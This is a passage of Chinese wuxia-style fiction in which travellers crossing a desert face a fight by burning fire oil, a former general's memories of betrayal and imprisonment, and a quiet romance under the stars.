阿育娅靠在他身上,已经睡熟了。脑袋歪着,抵在他肩窝里,呼吸均匀而绵长。月光从破洞里漏下来,落在她脸上,眉间却微微蹙着,不知梦里见了什么。她的手指无意识地攥着陈晨的衣袖,攥得很紧。
刀马坐在陈晨身边,眼睛只开了一条缝。那条缝里透出的光,一瞬不瞬地落在对面那个人身上……竖。
竖靠在车厢另一侧,柱国之刃横在膝上,一动不动,像一座石雕。可石雕不会让人这么盯着,石雕也不会让人这么不放心。火光偶尔从车帘缝隙里透进来,在他脸上明明灭灭,那只异瞳便也跟着明明灭灭,像两点飘忽不定的鬼火。那道伤疤在明灭中时而清晰,时而模糊,像一条活着的蜈蚣,在他脸上慢慢蠕动。
刀马盯着他,从上车盯到现在。
竖知道他在盯,却像是不知道,就那么闭着眼睛,一动不动。
知世郎抱着小七,脑袋倚在厢壁上,也睡着了。他睡着的时候,脸上的花纹不那么狰狞了,被月光一照,反而显得有几分苍白可怜,像一个病了很久的病人,又像一个做错了事的孩子。
怀里的小家伙却还睁着眼。
小七偷偷瞄向燕子娘。那眼神里有好奇,有害怕,还有一点点藏不住的想看。他看一眼,低下头;过一会儿,又偷偷抬起眼,再看一眼。然后赶紧把脸埋进知世郎怀里,假装什么都没发生。
过一会儿,又忍不住抬起头。
燕子娘还在洗。
水声哗哗的,在寂静的夜里格外清晰。
马车慢慢走着。
车轮吱呀,吱呀。
突然……
车身剧烈一晃,歪向一侧,然后不动了。
阿妮手里的马鞭抽得啪啪响,那马奋力往前挣,蹄子在沙地上刨出深深的坑,沙土飞扬,可车轮就是纹丝不动。非但不动,轮子下面还渗出黑色的液体,黏糊糊的,在月光下泛着幽幽的光,像某种活物的血,正从伤口里慢慢渗出来。
那液体越渗越多,在车轮周围汇成一小片,散发出一股刺鼻的气味。
这一晃,车厢里的人全醒了。
阿育娅猛地睁开眼,从陈晨身上弹起来,手已经按在腰间刀柄上。刀马那条缝瞬间睁大,整个人像一根绷紧的弦。竖的眼睛也睁开了,一眨不眨,像两口深不见底的井。燕子娘手里还捧着水,愣愣地看着大家。知世郎抱着小七,一脸茫然,还没完全从梦里醒过来。
阿妮掀开帘子,探头进来:“地太软了,车轮陷进去了。大家下来推一把。”
陈晨第一个起身。
他把阿育娅轻轻扶正,让她靠在车壁上,然后钻出车厢。动作很快,没有一句废话,甚至没有看她一眼。可阿育娅知道,他那一下扶,是怕她撞到车壁。
刀马和竖也跟了出来。
三个人站在车尾,双手抵住车厢,同时发力。
“一、二、三……推!”
那马也拼命往前拉,蹄子刨得沙土飞扬,嘴里喷着粗气,喉咙里发出低低的嘶鸣。车轮终于动了,一点一点,从沙坑里挣扎出来。轱辘碾过沙地,又往前滚了几圈,总算脱困。
阿育娅从车厢里钻出来,从马车侧面拽下一支火把。她四下照了照,火光把周围的沙地照得一片昏黄。她看了又看,眉头皱起来。
“竖,”她举着火把指向远处,“这不是去龙鳞古渡的路。你带错了吧?”
竖从车厢上拔下另一根火把,插在车身。火光映在他脸上,那只异瞳幽幽发亮,像一块燃烧的冰。伤疤像一条蠕动的蜈蚣,从面颊爬到额头,在火光里显得格外狰狞。他面无表情,声音平得像一块石头:
“你们被那些镖人耽误了时辰。想要明天日落前赶到胡杨林,就必须穿过……”
他顿了顿。
“黑牛滩。”
黑牛滩。
三个字落在寂静的大漠里,像三颗石子投进深井,激起一圈圈看不见的涟漪。风从远处吹过来,卷起细细的沙尘,打在脸上,生疼。
没人说话。
就在这时,车尾忽然传来一声笑。
“呵……”
燕子娘靠在车厢上,笑得肩膀一抖一抖的。那笑声轻飘飘的,在空旷的大漠里却显得格外刺耳,像夜枭的啼鸣,像冤魂的哭泣,听得人心里发毛。
阿育娅皱了皱眉:“你笑什么?”
燕子娘止住笑,眼角还挂着一点水光……不知是刚才洗脸的水,还是别的什么。她看了看阿育娅,又看了看竖,嘴角勾起一个意味深长的弧度。
“我笑啊……”她拖长了声音,慢悠悠地说,“笑这天下男人都一个德行。心里想要什么,嘴上偏不说出来。”
她说着,目光在竖身上停了一瞬。
那一瞬很短,但谁都看见了。
竖的脸上没有任何表情,连眉毛都没动一下。可他的眼睛,那两只颜色不同的眼睛,似乎微微眯了一下。
只是一下。
小七不知什么时候钻出了车厢。他蹲在地上,看着车轮下面渗出的那些黑色黏液,好奇地伸出小手想摸。
“这是什么?”他抬起头,眨着眼睛问。
陈晨走过去,从他手里接过阿育娅的火把。他看都没看那黑色的液体,只是沉声道:
“不管是什么,赶紧离开这里,才是该做的事。而不是在这儿问这是什么。”
他说完,牵起阿育娅的手,转身朝马车走去。
可就在他转身的刹那……
竖动了。
他把手里的火把,缓缓伸向地面。
那黑色的液体……火油……正从沙地下面汩汩地往上冒,在月光下泛着幽幽的光,散发着一股刺鼻的气味。只要一点火星,就能点燃。
陈晨猛地回头。
刀马的瞳孔骤然收缩。
他们看见了。都看见了。
陈晨一把将阿育娅扯到身后。
竖的火把触到地面。
“轰……”
一道冲天火墙骤然升起,烈焰翻卷,热浪扑面。那火光刺得人睁不开眼,那热度烤得人皮肤发疼。黑夜被撕开一道巨大的口子,半边天都烧红了,红的像血,像火,像地狱。
火墙的另一边,刀马持刀而立。
烈焰在他身后翻卷,将他的影子拉得忽长忽短,像一个在火焰里跳舞的鬼魂。热浪扑面而来,烤得他脸颊发烫,可他一步都没退。
竖站在对面,柱国之刃横在身侧,火光在他异色的瞳孔里跳动,像两簇燃烧的幽火。那道伤疤在火光里显得格外狰狞,像要从他脸上跳下来。
两个人就那么站着。
持刀。
对立。
风从远处吹过来,卷起火舌,舔舐着夜空。
下一瞬,竖动了。
他脚步一错,整个人化作一道白影,柱国之刃直刺刀马胸膛。刀没有花哨,没有虚招,就是最直接的刺……快、准、狠。刀锋撕裂空气,发出尖锐的破风声。
刀马侧身堪堪避开,刀刃贴着他胸口的衣襟划过。他甚至能感觉到那冰冷的刀锋擦过皮肤,带起一阵战栗。衣服被划开一道口子,皮肤被带出一道细痕,血珠渗出来,夜风灌进去,火辣辣的疼。
刀马脚下一蹬,一个后空翻拉开距离。可竖岂肯放过?柱国之刃紧追而至,当头劈下。刀马举刀横架,“当”的一声巨响,火星四溅。
两柄刀在空中一次次相撞,迸出明亮的火花。竖刀刀夺命,刀马招招搏命,谁也不退半步。刀刃上已经崩出几道细口,可两人像疯了一样,只顾对砍,根本不看刀。
数息过后,竖见久攻不下,左手忽然探出,火把直戳刀马面门。那火把带着烈焰,直扑面门,火光灼得刀马眼睛发疼。
刀马凌空一脚侧踹,正中竖的胸口。
那一脚踹得结实,“砰”的一声闷响,竖顺势往后一仰,手中的火把顿时扔出,在空中划过一道弧线,向着刀马身后一大片火油滩飞去。
刀马回头一看,心知不妙。他脚尖一钩,将那火把挑起踢向竖。可竖的动作更快……他反手一刀插进沙地,奋力一挑,一大片沾满火油的黑沙扬上半空。
黑沙遇火即燃。
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刹那间,附近数处火油滩同时被点燃,冲天火光照亮了整片夜空。燃烧的沙粒如雨般洒落,火星四溅,像一场倒着下的火雨。每一粒沙子都带着火焰,落在哪里,哪里就烧起来。
刀马只觉左臂一烫,低头看去,衣袖已被火沙点着,烧出一个大洞,火苗正往上蹿。他连忙用刀背拍了几下,这才扑灭,衣袖已经烧得焦黑,边缘还在冒烟,皮肤上烫出一片水泡。
竖趁势一个转身劈斩,刀马侧身躲过,柱国之刃“噗”的一声插入火油滩中。瞬息之后,竖抽刀而出……刀身上已沾满火油,整把刀瞬间被点燃。
火光灼灼,映得人睁不开眼。柱国之刃成了一柄火刀,在竖手里舞动,带起一道道火龙。每舞一下,就有火星四溅,落在地上,落在沙上,落在刀马身上。
刀马连连后退,却被竖抓住破绽一脚踹中胸口,整个人从火墙那边飞了过来,滚落在这一边的沙地上。沙土沾了一身,和血混在一起,狼狈不堪。他嘴里都是沙,吐了一口,满嘴血腥。
竖踢起一捧沙土,暂时压住火墙,随即纵身越过。落地之后,他反手一刀,又将另一处火油滩点燃。火势更旺了,四周已经成了一片火海。烈焰翻卷,热浪逼人,连呼吸都变得困难。
刀马一个鲤鱼打挺跃起,死死盯着竖的每一个动作。
竖手腕一抖,燃烧的柱国之刃甩出数滴火油,向刀马激射而来。火油在空中划过几道细线,带着火星,像暗器一样,又像一条条火蛇,直扑刀马面门。
刀马侧身闪过,却猛然想起……身后还站着知世郎和燕子娘!
一滴火油擦着燕子娘的头发飞过,差点将她点燃。那火星落在她脚边,哧的一声,烧出一小片焦黑。她的头发被燎掉一缕,空气里弥漫着焦糊味。
燕子娘吓得跳起来,破口大骂:“要死了啊!你个混蛋,要杀他你就杀,差点烧死老娘!弄不拎清!要死了啊……”
她骂得又快又急,一口气不带喘的,脸上却全是后怕,脸色惨白,嘴唇都在抖。
竖面无表情,冷冷回了一句:“都是人犯,有什么区别?天字第一号花颜团知世郎,第二号刀马……抓了你们两个,我就是天下第一镖人。”
话音未落,他已再次欺身而上,与刀马战作一团。
刀马也被打出了真火。
他背后斗篷一掀,缠住竖的刀刃,顺势在火油滩中一拖……斗篷瞬间点燃,成了一片火布。他手一抖,那燃烧的斗篷便向竖罩去,火光猎猎,像一片火烧云。
竖闪身躲开,可刀马的刀已经到了。
两柄燃烧的刀在空中一次次碰撞,火星四溅,如烟花般绚烂。火光映着两个人的脸,一个狰狞,一个疯狂,都杀红了眼。刀身上沾满了火油,每一次碰撞都有火星迸溅,落在两人身上,烧出一个又一个焦黑的小点。
可谁都不在乎。
陈晨远远看着,淡淡说了一句:“刀这么做,坏得更快。”
说完,他拉着阿育娅上了马车。
“阿妮,把车开远点。”他说,声音还是那么平,听不出任何情绪,“别让他们把车点了。”
阿妮一甩马鞭,马车往前走了几十丈,停在安全的地方。
知世郎和燕子娘一听,赶紧把小七抱上车,自己也爬了上去。两人挤在车帘后面,探出脑袋,像看戏一样望着远处的火光和人影。小七也想探脑袋,被知世郎按住了。
远处,火光冲天,两道人影在火焰里穿梭,刀光一闪一闪。两个人的影子被火光拉得长长的,在地上交缠在一起,分不清谁是谁。
这场搏命,结束得很快。
不到一炷香的功夫,那冲天的火光渐渐暗下去,两道人影也分开了。
刀马和竖先后回到马车旁。
刀马浑身上下都是细小的伤口,鲜血从纵横交错的刀痕中渗出,衣服已成了碎布条,一条一条挂在身上,露出里面一道道血痕。他喘着粗气,汗水混着血往下淌,可眼睛里还冒着光,像一头刚打完架的狼。
再看竖。
他整个人沾满了臭烘烘的火油,从头发到脚底,黑一道白一道,哪还有半点“玉面鬼”的影子?活脱脱成了“黑面鬼”。火油从他发梢往下滴,滴在地上,散发着一股刺鼻的气味。柱国之刃已经插回鞘里,可他脸上还是那副表情,冷冷的,什么也看不出来。
两人谁也不看谁,各自坐下。
燕子娘瞟了他们一眼,想说什么,又咽了回去。
陈晨没说话,只是看了看刀马身上的伤口,又看了看竖那一身火油,然后继续闭目养神。手指又开始轻轻敲打刀鞘,嗒,嗒,嗒。
阿育娅靠回他身边,也没说话。她看了一眼刀马,又看了一眼竖,目光在他们之间转了一转,最后落在陈晨身上。
马车重新上路,车轮吱呀吱呀地转,驶向夜色深处。
身后,那片黑牛滩还在烧着,火光把半边天映得通红。可马车越走越远,那火光也越来越小,最后只剩下天边一抹暗红,像一道正在愈合的伤口。
车厢里没人说话。
只有车轮声,吱呀,吱呀。
不知过了多久,燕子娘忽然又笑了一声。
这次笑得很轻,没人听见。
11. 第十章:星空
夜已经深了。
车厢里只有均匀的呼吸声,偶尔马车的颠簸带出一两声无意识的呢喃。刀马的呼吸粗重些,带着白日搏杀后的疲惫;燕子娘的呼吸轻而浅,像只蜷缩的猫;竖几乎没有声音,像一具活着的尸体。所有人都睡去了。
只剩下阿妮还在车外赶着马车。
鞭声偶尔响起,轻得几乎听不见。车轮吱呀吱呀地转,碾过沙地,碾过碎石,碾过漫漫的长夜。
陈晨在黑暗中睁开了眼睛。
他没有动,连呼吸都没有变。只是那双眼睛,在黑暗里慢慢睁开了。
他先看了看知世郎。那张脸在黑暗里看不清花纹,只能隐约看见一个轮廓,随着马车的晃动轻轻摇晃。知世郎睡得很沉,脑袋随着车厢的颠簸一点一点,却始终没有醒。
又看了看他怀里的孩子……小七。
那张稚嫩的脸埋在知世郎胸口,睡得香甜。小嘴微微张着,偶尔咂吧两下,不知梦见了什么好吃的。小小的身子蜷成一团,像一只躲在巢里的雏鸟。
陈晨看着他,看了很久。
思绪像一根被拨动的弦,嗡的一声,把他拉回到许多年前。
那时他还不是暗刃,是骁骑将军。
那时他穿着一身明光铠,骑着高头大马,身后跟着八百个弟兄。那时他的刀是用来杀敌的,不是用来杀那些不能杀的人的。
那时刀马还不是刀马,是他手下最勇猛的兵。
像刀马这样的兵,他一共有十三个。个个都是从死人堆里爬出来的,个个都能以一当百。他带着这十三个人,从一个小卒杀到将军,从籍籍无名杀到御前。那些年流的血,受的伤,杀的人,他都记不清了。只记得一次又一次冲锋,一次又一次活下来,活下来,活下来。
那一年,当今圣上杨广召见他们。
陈晨跪在最前面,身后跪着那十三个人。那是他这辈子跪过的最硬的地,也是最亮的地……大殿上的金砖,亮得能照见人影。
杨广的目光从他们身上一一扫过,像一把刀,在每个人脸上剐一下。然后他开始赐名。
一个一个赐下来。到刀马的时候,杨广看了他一眼,说:“你便叫建马。”
刀马跪在那儿,低着头,沉默了很久。
车厢里很安静,只有车轮声。
陈晨还记得那沉默有多长。长到他的心都提到了嗓子眼。长到他能听见自己的心跳。长到杨广的眉头微微皱了起来。
然后刀马抬起头,开口说:“建马这个名号不好听。能改成刀马吗?”
陈晨当时心里一紧。御前改赐名,这是大不敬。这是要掉脑袋的。
可刀马就那么跪着,直视着杨广的眼睛,不卑不亢。他的脊背挺得笔直,像一杆枪。
杨广愣了一下。
然后他笑了。
“刀马。”他念了一遍,点了点头,“刀马。好,你便叫刀马。”
那一年,陈晨二十出头,刚做了骁骑将军不到一年。
那一年,他觉得自己是天底下最风光的人。
十三个人中,刀马年纪最长,自然而然做了他们的大哥。他们歃血为盟,结为异姓兄弟,在神前发誓同生共死。那碗酒又辣又苦,可喝下去的时候,心里是烫的。
那时候陈晨以为,这条路可以一直走下去。
他们可以一起建功立业,一起封侯拜相,一起老死在床上,儿孙满堂。
可刀马赐名不到两年,一道密令送到了他手中……
杀光废太子杨勇的所有亲属家眷,一个不留。
密令上只有一行字,字迹冰冷,没有温度。
这差事自然落到了陈晨手下那十三个人身上。他们是杨广手里最锋利的刀,这种事情,本来就该他们去做。
那一夜发生了太多事情。
多到改变了很多人的命运。
刀马失散多年的妹妹,出现在太子府里。她不知道什么时候成了太子妃,怀里抱着一个婴儿,跪在刀马面前。
陈晨不知道那一夜刀马想了什么。他只知道那夜之后,一切都变了。
刀马抱起那个孩子,把他紧紧捆在怀里,然后从太子府一路杀出去。
官兵围堵,刀光剑影,他一个人一把刀,护着怀里的孩子,杀出一条血路,消失在夜色之中。
他走了。
留下的烂摊子,由陈晨来收拾。
陈晨和他手下剩下的十二个人,一夜之间沦为阶下之囚。官职被削,爵位被夺,身上的明光铠被扒下来,换上囚服,被扔进大牢。
八百个弟兄被遣散充军,分到各处,从此天各一方。整个左骁骑卫因为刀马一个人的选择,名存实亡。
他们被关了一年半。
五百四十个日夜。
那牢房又潮又暗,不见天日。地上永远是湿的,墙上永远在渗水。老鼠在角落里跑来跑去,有时候会爬到人身上。看守的狱卒三天两头来提人,用刑,逼问,折磨。
死了十个。
十个兄弟,一个一个死在他面前。
有的被活活打死,有的扛不住刑求,有的伤口感染,发着高烧,喊着兄弟的名字,喊着娘,喊着疼,然后咽了气。
最后只剩下三个活了下来。
陈晨,和另外两个左骁骑卫。
从牢里出来,他们不再是骁骑将军,不再是风光无限的左骁骑卫。他们成了暗刃……朝廷不能杀的人,他们去杀;见不得光的事,他们去做。没有军功,没有出头之日,只有杀不完的人,和洗不掉的血。
而这一切,都因为刀马。
陈晨的目光落在那孩子身上。
小七还在睡,呼吸均匀。小小的胸脯一起一伏,一起一伏。
这是刀马当年从太子府抱走的那个孩子吗?是他妹妹的儿子?是他用兄弟的命换来的那个孩子?
只要刀锋轻轻一动……
那柄刀就靠在他手边,冰冷,锋利,沉默。一刀下去,刀马和小七,砍成四段。
然后呢?
杀了他们,能改变什么?
能回到过去吗?
就算能回到过去,又能怎样?那些死去的兄弟能活过来吗?那些在牢里被折磨了一年半的日子能抹掉吗?那个二十出头、意气风发的骁骑将军能回来吗?
陈晨是庶出。
十岁就被扔到战场上,在死人堆里摸爬滚打。十年,整整十年,才混出一个名号,才当上将军,才有一支自己的兵。那些年流的血,受的伤,杀的人,他都不记得了。只记得一次又一次爬起来,一次又一次往前走。
结果呢?
栽在刀马手里。
栽在他最信任的手下手里。
他攥紧了拳头,指节发白。骨头咯咯作响,像要捏碎什么。
杀了他们。
杀了他。
可是……
一只手忽然攀上了他的手指。
那手软软的,小小的,手指轻轻摩挲着他的指节,一下一下,像在安抚一只受伤的野兽。温热的触感从指间传来,像一簇小小的火苗,把他攥紧的拳头一点点烤软。
陈晨低头看去。
阿育娅还睡着。
呼吸依旧均匀,眼睛依旧闭着,嘴角还挂着一丝若有若无的弧度,不知道做了什么好梦。月光从破洞里漏进来,落在她脸上,照得那张脸柔和得像一块温润的玉。长长的睫毛在眼睑上投下一小片阴影,随着呼吸轻轻颤动。
可她的一只手,不知什么时候伸了过来,覆在他的手背上。
那手暖暖的。
陈晨攥紧的拳头,慢慢松开了。
他低头看着那张睡颜,看了很久。
月光在她脸上流淌,把她脸上的绒毛都照得清清楚楚。她的眉头舒展着,嘴角微微上翘,睡得那么安心。好像只要有他在身边,什么都不用怕。
陈晨忽然想起第一次见到她的时候。她端着一盆水走进来,满脸的笑,说“醒了?”。那时候她还差点用箭射穿他的头。那时候她问他“和马住在一起,难道比和我住在一起舒服?”那时候她拉着他钩手指,说要一起去长安。
那时候他还想着完成任务,回到中原。
现在呢?
现在他只想就这样看着她,一直看下去。
罢了。
栽了便是栽了。
从此做个镖人,也挺好。
就这样……陪在她身边。
陈晨轻轻握住那只手,包在掌心里。她的手那么小,软软的,暖暖的,像一只缩在巢里的雏鸟。他的手掌又大又粗,长满了老茧,可握着她的手,却小心翼翼,生怕弄疼了她。
那柄刀静静地靠在一旁,没有出鞘。
夜色正浓,马车吱呀吱呀地往前走。阿妮的鞭声偶尔响起,轻得几乎听不见。
车厢里,所有人都在沉睡。
只有陈晨醒着。他看着阿育娅的睡颜,嘴角微微动了动。
那是一个很淡的笑,淡得几乎看不出来。
马车行了许久,直到第二天天光大亮,才终于望见那片胡杨林。
金黄的叶子在晨光里泛着光,层层叠叠,像一片燃烧的火海。阳光从枝叶间漏下来,在地上投下斑驳的光影。风吹过的时候,叶子哗啦啦响,像千万只金铃在摇。
马车晃晃悠悠地驶进林子,车轮碾过落叶,发出沙沙的轻响。几间木屋散落在林间,炊烟袅袅,从烟囱里升起来,飘散在金色的树冠间。鸡在院子里啄食,狗趴在门口晒太阳,竟有了几分人间的气息。
“大娘……”
马车还没停稳,阿妮已经跳了下去,直直冲进一个妇人的怀里。那妇人张开双臂接住她,笑着拍她的背,嘴里念叨着什么。阿妮把脸埋在她肩上,像一只归巢的鸟儿,肩膀一抖一抖的。
那妇人轻轻拍着她,像拍一个孩子。
知世郎从车厢里探出头,一眼就盯上了林边那条小河。
河水清凌凌的,在日光下泛着粼粼波光。河底的石子清晰可见,有几条小鱼游来游去。他舔了舔干裂的嘴唇,挽起袖子便要下车。
可还没等他迈出步子……
竖已经从他身边掠过。
一路狂奔,带起一阵沙尘,直直冲进河里。
水花四溅。竖整个人扑进河里,在水里打了个滚,从头到脚浸了个透。
片刻之后,河面上浮起一层黑油,在日光下泛着诡异的彩色光晕,像一条条毒蛇在水面游动。
知世郎愣在原地。
张着嘴,半天没动。
陈晨看了他一眼,从马背上解下一个水囊,扔过去。
“喝这个。”
知世郎接住水囊,抱在怀里,又看了看那条河,神情复杂。
不远处传来叮叮当当的打铁声。
那妇人家开的竟是间铁匠铺。炉火烧得正旺,火星四溅,从铺子里飘出来,落在门前的沙地上,哧的一声就灭了。声音清脆而急促,一下一下敲在人心上,像心跳。
燕子娘缓缓踱步到店里。
她四下看了看,找了一张铁毡,一屁股坐上去。铁毡又硬又凉,硌得她扭了扭身子。两条白嫩的大腿一抬,脚腕上的铁链“哗啦”一声甩到铁毡上。
“打开啊!”她声音脆生生的,和昨夜那个歇斯底里的女人判若两人,“我可是你们大娘的贵客。”
打铁的匠人愣了愣,手里的锤子停在半空。那是个三十来岁的汉子,光着膀子,一身腱子肉,被炉火烤得油光发亮。
燕子娘动了动腿,那两条光洁的小腿在日光下泛着莹白的光。脚踝纤细,脚趾圆润,趾甲修剪得整整齐齐,还涂着淡淡的红色。
匠人的眼睛直了。
“先开这。”她又动了动腿,铁链哗啦啦响。
“再是这……”她把手腕上的铁链也甩到铁毡上,两只手臂抬起来,袖子滑落,露出两截藕节似的手腕。
然后她撅了撅嘴唇,抛了个媚眼,声音软下来:“然后……这。”
匠人手里的锤子差点掉在地上。
他咽了口唾沫,喉结上下滚动,却迟迟没有动作。眼睛在她身上转来转去,不知道该看哪儿。
燕子娘等了一会儿,脸上的笑容渐渐僵住。
她一挑眉,声音顿时高了八度,又脆又亮:
“好大哥!你快抡起你的大锤吧!人家等不及了!”
这一嗓子把匠人吼回了神。他慌忙扔下手里的小锤,从旁边抄起一个拳头大的铁锤,深吸一口气,抡圆了胳膊便要砸下去……
燕子娘闭紧了眼。
等了好一会儿。
想象中的巨响没有传来。
反倒是一声闷响……刀鞘架住铁锤的声音。
她睁开眼。
竖站在她面前。
他不知什么时候洗完了澡,浑身湿漉漉的,头发还在往下滴水,衣服紧贴在身上,勾勒出精壮的身形。脸上的伤疤被水洗过,显得格外清晰。他手里的刀鞘不偏不倚,架在锤头下面。
匠人的锤子悬在半空,进退不得。
燕子娘愣了一瞬。
随即蹭地站起来,指着竖的鼻子就骂:
“你个白脸的无常鬼!你天天盯着女人的屁股转,你恶不恶心!”
竖面无表情。
可他嘴角,却微微勾起。
燕子娘瞪着他,瞪了好一会儿。竖也不躲,就让她瞪着,嘴角那丝笑意反而更深了。
燕子娘忽然一甩袖子:“老子不玩了!”
说完,扔下竖和那个愣在原地的匠人,头也不回地走了。
竖站在原
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地,看着她的背影,嘴角那一丝笑意久久没有散去。
入夜。
大漠的夜空总是这样美。
繁星点点,密密麻麻,像打翻了一盘碎银。没有一丝云,没有一丝风,只有漫天的星光,静静地洒在这片胡杨林上。那些星星有大有小,有明有暗,有的还泛着淡淡的红晕,像害羞的姑娘。
陈晨一个人躺在房顶上。
这里的屋顶是平的,铺着厚厚的草泥,躺在上面很舒服。他枕着双臂,望着满天星斗,一动不动。房顶离那些木屋很远,听不见人声,听不见打铁声,只有夜风偶尔拂过,吹动他的衣角。
不知过了多久,身侧传来窸窸窣窣的声响。
阿育娅爬了上来。
她怀里抱着一张毯子,在陈晨旁边铺好,小心翼翼地躺下来。两人之间隔着一拳的距离,不远不近。她躺得很规矩,双手交叠在小腹上,像一尊躺着的雕像。
星光落在她脸上,把她的轮廓勾勒得柔和而安静。睫毛在眼睑上投下两小片阴影,鼻梁挺直,嘴唇微微抿着。
过了一会儿,阿育娅动了起来。
她摸摸索索地踢掉两只靴子。一双白嫩的小脚从靴筒里抽出来,暴露在夜风里。
那两只小脚白得晃眼,没有一点瑕疵,像用羊脂玉雕成的。脚趾修剪得整整齐齐,圆润可爱,趾甲泛着淡淡的粉色。脚背光洁,脚踝玲珑,在星光下泛着淡淡的珠光。
夜风拂过。
那两只小脚不自觉地夹紧了脚趾,互相蹭了蹭。脚趾动来动去,像两条受惊的小白鱼。
风又拂过。
又蹭了蹭。
阿育娅轻轻叹了口气,把脚缩了缩,可风还是往脚上吹。她蹭了蹭,又蹭了蹭,终是徒劳。那两只小脚在风里微微发抖,脚趾一会儿张开,一会儿又缩紧。
过了一会儿,她似乎下了什么决心。
身子轻轻扭了扭,一寸一寸挪过去。动作很慢,很轻,像怕惊着什么。
那双小脚,一点一点,塞进了陈晨怀里。
陈晨睁开眼睛。
他侧头看向阿育娅。
阿育娅闭着眼,呼吸平稳,脸上看不出什么表情。可那两片红晕,从脸颊一直烧到耳根,在星光下清清楚楚。连耳朵都红了,红得像熟透的果子。
陈晨看了她好一会儿。
然后他翻了个身,侧躺过来,完全面向阿育娅。
他搓了搓两只手掌。搓了好一会儿,搓得手心发热,热得发烫。那粗糙的手掌在夜色里搓动,发出轻轻的沙沙声。
然后一只手枕在脑袋下面,另一只手轻轻盖在阿育娅的脚上。
那两只小脚在他掌心里缩了缩,脚趾蜷起来,又慢慢放松下来。他的手掌又大又暖,把两只小脚整个包住。
阿育娅的脸更红了。
“还记得我们第一次见面吗?”陈晨忽然开口。
声音很轻,轻得像一片落叶,只有阿育娅能听见。
阿育娅沉默了一会儿。
“记得。”她的声音也轻,带着一丝少女的羞涩,“还差点把你的头射穿。你说你是个镖人来着。”
陈晨没说话。他看着她的侧脸,看了很久。
“可现在,”他的声音有些涩,有些慢,像是在很用力地吐出每一个字,“我说我不是一个镖人。我是朝廷派来的暗刃,是来杀知世郎的。”
他顿了顿。
“你会怕我吗?”
阿育娅睁开眼睛。
她转过头,看着陈晨。星光在她眼睛里跳动,亮晶晶的,像藏了两颗星星。
过了许久,她摇了摇头。
“你就是你啊。”
陈晨怔住了。
然后他往她那边靠了靠,又靠了靠,直到把她整条小腿都抱进怀里。他把脸埋在她的腿缝里,温热的气息透过衣料传过来。手掌从脚背抚上脚心,轻轻握住。
“一开始见你的时候,”他的声音闷闷的,“我只觉得你是个善良的,有些笨笨的小姑娘。那时我身份卑微,做着身不由己的事情。那时我只想着完成任务,回到中原。”
他顿了顿。
“那会儿我已经像个无头苍蝇一样,在大漠里转了十四天。司南丢了以后,水也丢了不少。有时候我想,或许真的会死在沙漠里,化作一堆枯骨,谁也找不到。”
“可是你救了我。”他的声音软下来,“脸上带着甜甜的笑,好像一点也不怕我。那笑容……我只在我母亲身上见过。”
阿育娅没有说话,只是把手轻轻放在他头上。
她的手指穿过他的头发,一下一下轻轻抚着。
“不瞒你说,”陈晨的声音低低的,“我十岁便离开家,在战场上摸爬滚打。不到二十,已经是大隋的骁骑将军,手底下统领八百左骁骑卫,风光无限。”
阿育娅的手指动了动。
“左骁骑卫?”她轻声问,“我阿塔跟我说,刀马他也是左骁骑卫。那你们……”
“是旧识。”陈晨打断她,“因为一些事情,我沦为了暗刃,他变成了天字第二号逃犯。没想到会在大漠碰到。”
他沉默了一会儿。
“不过自从和你拉了钩,我的心开始变了。变得不想回到中原。大漠虽然不是属于我的地方,可中原我也没有容身之所了。”
他把她的脚握得更紧一些。
“我想就这样跟在你身边。做一名死士,或许也不错。就死在你的前方,死在敌人的箭下……或许就没那么累了。”
阿育娅忽然拍了一下他的头。
“呸呸呸!”她假装生气,声音却软软的,“不许说那么丧气的话!我们两个配合天下无敌,才不会让你死呢。你得好好活着,陪我去看长安。那么美的地方,你不带着我,走丢了怎么办?”
陈晨抬起头,看着她。
星光在她脸上跳跃,她的眼睛亮亮的,嘴角翘着,带着一点娇嗔,一点认真。月光把她整个人都镀上了一层柔光。
“是啊。”他说,嘴角慢慢弯起来,“我不想死了现在。我就想跟在你身后,就这样跟着。”
阿育娅低下头,声音小小的:
“其实……你跟在我身边,也可以的。”
那声音很轻,却像一颗石子投进陈晨心里,漾开一圈圈涟漪。
过了许久,陈晨忽然低下头。
他把嘴唇狠狠地印在阿育娅的脚背上。
阿育娅浑身一颤,想要挣开,又怕踢到他的脸。只好红着脸,小声说:
“捂在靴子里很久了……会有味道的……”
陈晨没有抬头。
只是把她抱得更紧了一些。
夜空下,两个人影依偎在一起。星光洒落,夜风轻拂,胡杨林的叶子沙沙作响,像在唱着古老的歌谣。
12. 第十一章:死仇
第二天一早,吃过早饭后。
阳光从胡杨林的缝隙里漏下来,在地上投下斑驳的光影。空气里还带着夜里残留的凉意,混着草木的气息和远处飘来的炊烟。
阿育娅拉着陈晨的手,十指相扣。
他们就那样在河边慢慢散步,踩在松软的沙地上,留下一串深浅不一的脚印。河水清凌凌的,在晨光里泛着粼粼波光,偶尔有鱼儿跃出水面,又“噗通”一声落回去。
“阿育娅姐姐!”
小七不知从哪儿冒出来,迈着小短腿跑了过来。他跑得飞快,两只小手在身侧一甩一甩的,跑到跟前一把抱住阿育娅的腿。
“你昨天去哪了?小七怎么没找到你?”
阿育娅摸了摸他的头,笑了笑没说话。
小七也不在意,自顾自地说起来:“你看到昨晚的打铁花了吗?好好看!好多好多火星子飞到天上,像星星一样!”
他一边说一边比划,两只小手在空中划来划去。
“我还看到那大白脸哥哥和长发哥哥,还有那个红衣服的姐姐,他们三个坐在一起喝酒嘞!他们喝了好多好多,喝得好开心!”
小七摇头晃脑的,脸上全是笑。
“刀马他抱着我转圈圈,真好玩!阿育娅姐姐,你下次也能抱着我这样吗?”
陈晨接过话头,声音早已不似从前那般冰冷,甚至带了几分儒雅:“下次我来。”
小七抬头看了看他,又看了看阿育娅,咧嘴一笑:“好!”
“好了,去找你阿妮姐姐玩吧。”陈晨说。
小七应了一声,又迈着小短腿跑开了,跑几步还回头朝他们挥挥手。
看着他跑远,两人又恢复到之前的状态。十指相扣,慢慢走着,谁也没说话。
可落在旁人眼里,这沉默本身就是一种宣告。
刀马靠在木屋的门框上,手里拿着水囊,看着那两道并肩的身影,笑了笑,没说话。阿妮站在他旁边,也笑了笑,也没说话。
竖坐在不远处的石头上,面无表情,看不出在想什么。知世郎站在他旁边,同样面无表情,像两尊石像。
只有燕子娘,脸上的表情阴晴不定。她看看那两道身影,又看看竖,再看看知世郎,最后“哼”了一声,扭过头去。
一行人草草告别大娘,朝着龙鳞古渡疾驰而去。
